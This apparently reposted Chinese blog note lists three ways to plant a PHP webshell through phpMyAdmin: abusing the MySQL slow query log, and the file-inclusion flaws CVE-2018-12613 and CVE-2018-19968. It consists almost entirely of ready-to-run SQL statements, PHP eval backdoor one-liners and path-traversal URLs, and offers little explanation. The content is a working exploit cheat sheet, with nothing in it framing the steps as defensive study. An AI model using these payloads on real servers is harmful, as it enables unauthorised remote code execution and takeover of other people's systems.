• phpMyAdmin写入WebShell(二)


    1. 慢日志查询getshell
    show variables like '%slow%'
    set global slow_query_log=on;
    set global slow_query_log_file='E:/phpstudy_pro/WWW/slow.php'
    select '<?php @eval($_POST[shell]);?>' or sleep(10);
    2.CVE-2018-12613 phpMyAdmin文件包含getshell 利用数据库表文件 phpmyadmin图形化界面创建表ctf字段名为<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?> select @@datadir 表的路径就是查询出来data路径+数据库名/表名.frm http://localhost/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test/ctf.frm
    利用session文件 利用包含phpinfo()先找到session文件的位置 执行Sql语句产生session
    SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?> "; session文件名就是 sess_你的session http://localhost/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/tmp/tmp/sess_tfrvjj7ngc23vfk0e72mfsg416hffh60
    3.CVE-2018-19968 phpmyadmin文件包含getshell
    创建表格,字段中插入webshell
    create table test.play (flag varchar(100)); insert into test.play SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?> ";
    访问路径生成phpmyadmin配置表 http:
    //localhost:8889/phpMyAdmin4.8.1/chk_rel.php?fixall_pmadb=1&db=test
    篡改配置表pma__column_info的数据
    INSERT INTO pma__column_info SELECT '1', 'test', 'play', 'flag', 'plop', 'plop', 'plop', 'plop', '/../../../../../../phpstudy_pro/Extensions/tmp/tmp/sess_tfrvjj7ngc23vfk0e72mfsg416hffh60 ','plop';
    访问URL文件包含 tbl_replace.php?db
    =test&table=play&where_clause=1=1&fields_name[multi_edit][][]=flag&clause_is_unique=1
  • 相关阅读:
    第7章例7-12
    第7章例7-11
    第7章例7-9
    第7章例7-8
    第7章例7-7
    第7章例7-6
    第7章例7-5
    第7章例7-4
    第7章例7-3
    第7章例7-2
  • 原文地址:https://www.cnblogs.com/ersuani/p/13892903.html
Copyright © 2020-2023  润新知